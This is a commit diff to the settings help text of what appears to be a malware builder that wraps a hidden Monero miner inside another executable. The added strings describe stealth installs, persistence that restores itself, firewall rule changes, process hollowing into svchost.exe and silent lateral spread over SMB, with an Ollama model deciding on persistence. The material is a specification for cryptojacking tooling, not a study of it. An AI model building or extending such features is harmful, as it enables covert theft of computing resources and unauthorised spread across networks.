Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.

server/web/src/help/settingHelp.ts

@@ -20,10 +20,10 @@ export const SETUP_CHEATSHEET = [
 export const FIELD_HELP: Record<string, string> = {
   worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
   server_url:
-    'Control server URL baked into the installer (http://LAN-IP:port). Editable in Forge when your host IP changes; use a LAN address, not localhost.',
+    'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
   output_dir:
-    'Optional: also copy the finished .exe into a folder under the server data_dir (example: exports). This is just for convenience; builds are always kept under data/builds/<id>/ and downloadable.',
-  wallet: 'Monero wallet address where pool payouts go. Must be a valid 95-character mainnet address starting with 4.',
+    'Optional extra copy into a subfolder (e.g. exports). The forged .exe is always written to the project root as a single file with the same name as your Fusion output setting.',
+  wallet: 'Monero wallet address where pool payouts go. Must be a valid mainnet address starting with 4 or 8.',
   pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
   pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
   pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.',
@@ -48,6 +48,7 @@ export const FIELD_HELP: Record<string, string> = {
   auto_start: 'Same as Persistence. Keeps miner running after reboot.',
   fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
   fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
+  fusion_prep: 'The executable you want to bundle the miner inside. The final forged output will launch this prep file and the hidden miner.',
   fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
   install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
   install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
@@ -57,9 +58,14 @@ export const FIELD_HELP: Record<string, string> = {
   log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
   adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
   self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
+  firewall_exclusion: 'On first install, adds Windows Firewall inbound/outbound allow rules for the installed miner .exe. Helps on locked-down PCs; may require one Run as administrator if the rule fails.',
+  open_firewall_on_start: 'When enabled, the control server adds a Windows Firewall inbound rule for its listen port (default 8989) on startup so LAN agents can connect.',
   file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
   stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
   ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',
   ai_ollama_endpoint: 'Ollama API URL on the control server machine (example: http://localhost:11434). The hub calls Ollama — not the worker directly.',
   ai_model: 'Ollama model name to use for AI decisions (example: llama3.2). Must be pulled locally on the control server.',
+  process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
+  mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
+  auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
 };